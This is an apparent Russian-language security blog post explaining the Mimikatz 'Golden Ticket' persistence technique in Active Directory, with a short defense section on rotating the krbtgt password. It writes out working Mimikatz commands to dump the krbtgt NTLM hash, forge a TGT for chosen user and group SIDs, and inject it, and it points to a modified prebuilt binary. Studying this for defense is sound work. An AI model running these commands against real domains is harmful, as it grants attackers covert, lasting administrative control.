Yep! Another backdoor in Active Directory :: Mimikatz Golden Ticket

В начале этого года Benjamin Delpy aka gentilkiwi вновь порадовал сообщество очередным исследованием и, как следствие, новым функционалом в своей эпической сборке под названием Mimikatz. Речь идет про использование архитектурных особенностей службы Kerberos в Microsoft Active Directory с целью скрытого сохранения привилегированного доступа над ресурсами домена. Чтобы понять всю ценность раскопок gentilkiwi, стоит освежить свои знания в контексте протокола Kerberos и о его месте в службе каталогов Microsoft.

Что мы помним про Kerberos? Из сухой теории по безопасности припоминается, что это какой-то сетевой протокол аутентификации, изначально спроектированный в недрах Массачусетского универа… это что-то болтающееся на контроллерах домена в виде открытого порта 88 и предназначенное для прозрачной авторизации к ресурсам домена. Это "нечто муторное", делающее жизнь администратора сети радостной и беззаботной...

(картинка дернута со страницы википедии)

<!--
Я не стану очередным писакой, подробно разжевывающим внутреннее устройство протокола Kerberos. За меня это уже сделали 100500 раз и куда более грамотные люди. Заполнить пробелы по работе Kerberos можно, например, на страницах TechNet.
-->

Не залезая в дебри протокола, грубо говоря аутентификация в стиле Kerberos базируется на "билетах доступа". Для получения доступа к ресурсу клиент предоставляет свой билет доступа, а ресурс в свою очередь, на основе криптографической магии, верифицирует этот билет доступа и принимает решение, какими правами наделен клиент и наделен-ли он ими вообще. Особую роль во всем этом процессе занимают сервера аутентификации, которые отвечают за выдачу сакральных билетов доступа. В Microsoft Active Directory эту функцию выполняют контроллеры домена.

Начиная с Kerberos четвертой версии появляется такая полезная штука, как TGT (Ticket Granting Ticket — билет для получения билета). Именно эту версию протокола Kerberos штампует корпорация добра в свое решение для централизованного управления сетями, которое впоследствии получает название Microsoft Active Directory.

С первого взгляда все просто замечательно! Разве что повылезали косяки в реализации… Хотя у кого их не было? [тынц] Сейчас разумеется подобные баги пофикшены и сурьезные компании, которые срослись всеми частями своей ИТ-инфраструктуры с MS AD, могут вздохнуть с облегчением, но…

Копнем несколько глубже в устройство Майкрософт Kerberos и окажется, что вся пирамида с билетами доступа строится на основе одного пользователя – krbtgt, а еще точнее, вся криптомагия с билетами завязана на NTLM-хеш этого пользователя. То есть, счастливый обладатель правильной 32-х битной последовательностью символов получает безграничные привилегии ко всем имеющимся в домене ресурсам т.к. способен выписывать билеты Kerberos с любым уровнем доступа. И это не является уязвимостью! Так устроен протокол аутентификации Kerberos.

А теперь задумаемся, как часто этот основополагающий "секрет" (пароль пользователя krbtgt) меняют? Смешно, но ни у одной известной мне компании в регламентах по безопасности не встречается упоминания про смену пароля пользователю krbtgt. То есть, самый важный "ключ" к Active Directory, с помощью которого происходит отруливание всей авторизацией к информационным ресурсам предприятия создается единожды (при создании нового домена) и не меняется на протяжении всего времени его существования.

На это собственно и обратил внимание gentilkiwi, что побудило его запилить новый функционал в Mimikatz. Так появилась функция генерации условно бессрочного TGT билета, выписанного на идентификатор встроенного администратора системы (SID 500). Прелесть этого TGT билета в том, что даже при условии, когда используемая учетная запись будет заблокирована или отключена, аутентификация по Kerberos будет работать! Отсутствие возможности использовать дополнительных условий ограничения доступа в отношении встроенной учетной записи администратора с SID 500 такие, например, как ограничение доступа по времени, открывают отличные перспективы для атакующего. Кроме того, для подгрузки TGT билета в адресное пространство операционной системы не требуется высоких привилегий администратора или системы, достаточно обычных прав доменного пользователя. Для создания волшебного билета Kerberos, открывающего все двери к ресурсам домена, потребуется увести используемый NTLM-хеш пользователя krbtgt.

«Трудно быть Богом, но кто-то же должен им быть…» (с)

Итак, для полной концепции Бога в адешечке нам понадобится:

• NTLM-хеш пользователя krbtgt
• Имя-домена и его SID
• Компутер под управлением Windows, являющийся участником целевого домена

Для выполнения первого условия необходимо либо наличие актуальной резервной копии Active Directory, либо соответствующие права в домене, позволяющие сделать такую копию [ссылка]. Как вариант это можно провернуть с использованием того-же Mimikatz:

mimikatz.exe "privilege::debug" "lsadump::samrpc /patch" exit

<!--
К пробегающим сейчас мыслям у воодушевленного читателя о возможном бруте пароля пользователя krbtgt. Сделать этого не получится, т.к. за его безопасность отвечает харкоженная в AD функция, которая срабатывает при любой операции с паролем этого пользователя, генерирует случайную последовательность из 16-ти символов юникод и устанавливает ее в качестве нового пароля. То есть, если вы попытаетесь сбросить пароль пользователю krbtgt, скажем на "123", то будьте уверены, что адешечка подсунет ему свой секурный пароль, не допустив тем самым порождения очередной дырки.
-->

Второе условие выполняется при наличии минимального доступа к домену. SID-домена можно получить, например, как предлагает автор одноименной публикации, через whoami или PsGetsid из состава Sysinternals:

Последнее условие необходимо только в момент использования шитых мимакадзом привилегий. Генерация самого TGT билета может протекать где угодно.

mimikatz.exe "kerberos::golden /admin:ANYID /domain:TEST.LOCAL /sid:S-1-5-21-3838653977-3010990090-570996099 /krbtgt:C1E209654807223D8CB17376FCB70E53 /ticket:myfile" exit

kerberos::golden – вызов функции генерации TGT билета
/admin:ANYID – сюда можно писать произвольный идентификатор (будет светиться в журнале безопасности)
 /domain:TEST.LOCAL – целевой домен
 /sid:S-1-5-21-3838653977-3010990090-570996099 – идентификатор целевого домена
/krbtgt:C1E209654807223D8CB17376FCB70E53 – NTLM-хеш пользователя krbtgt
/ticket:myfile – имя файла, в который будет записан новоиспеченный TGT билет

После генерации этого файла возвращаемся к доменному компьютеру и подгружаем волшебный "золотой билетик" Kerberos:

mimikatz.exe "kerberos::ptt myfile" exit

Ну и не стоит забывать, что аутентификация по протоколу Kerberos завязана на использование полных DNS-имен, поэтому голые ip-адреса придется забыть.

В готовой сборке Mimikatz владелец золотого TGT билета становится участником следующих групп безопасности:

• SID 512 - Администраторы домена
• SID 513 - Пользователи домена
• SID 518 - Администраторы схемы
• SID 519 - Администраторы предприятия
• SID 520 - Владельцы-создатели групповой политики

, а также получает маркер доступа встроенной учетной записи администратора системы (SID 500). К сожалению, в реальной жизни этого не всегда хватает. Например, для случаев, когда необходимо аккуратно тыкнуться на определенный ресурс (например, на файловый сервер) без внесения каких-либо изменений в систему. Да-да, смена владельца с последующим сбросом ACL (и последующим ее восстановлением) на киллограмовой папочке только для того, чтобы убедиться в отсутствии файликов с паролями в плейн тексте, изрядно напрягает.

В подобных случаях можно собрать свою версию Mimikatz (благо имеются сорцы в свободном доступе с подробным руководством по сборке). Самые же ленивые могут забрать готовую дополненную версию в части генерации TGT билета отсюда (mimi.exe/md5 324ac76502379a869485f7a404dd1570). В ней появились два новых параметра:

• /usersid – собсно SID пользователя
• /groupsid – участником какой группы необходимо быть (помимо администраторов домена, предприятий и пр.)

Предположим мы хотим получить доступ к каталогу "only_test01", как показано на рисунке выше. Для этого заглядываем в список контроля доступа удаленного ресурса (eq ShareEnum), получаем SID целевой группы (eq PsGetsid) и создаем себе условия легитимного доступа:

mimi.exe "kerberos::golden /admin:ANONYMOUS /domain:TEST.LOCAL /sid:S-1-5-21-3838653977-3010990090-570996099 /krbtgt:C1E209654807223D8CB17376FCB70E53 /ticket:myfile2 /usersid:501 /groupsid:1120" exit

mimi.exe "kerberos::ptt myfile2" exit

И вуаля!11

Как защититься?

Согласитесь, с точки зрения форенсики забавная штука получается :)) Отмониторить активность атакующего, суметь отделить ее от активности настоящих легитимных пользователей и сервисных учетных записей при подобных возможностях, будет ох как непросто, если вообще возможно.  А вот предотвратить (повторный) несанкционированный доступ можно путем смены пароля пользователю krbtgt. Причем менять пароль необходимо два раза подряд (еще одна тонкая особенность krbtgt), затем передергивать службу KDC и наблюдать как (временно или насовсем) отваливаются сервисы, завязанные на Active Directory… итак до следующего случая компрометации хешика krbtgt :) Удачи!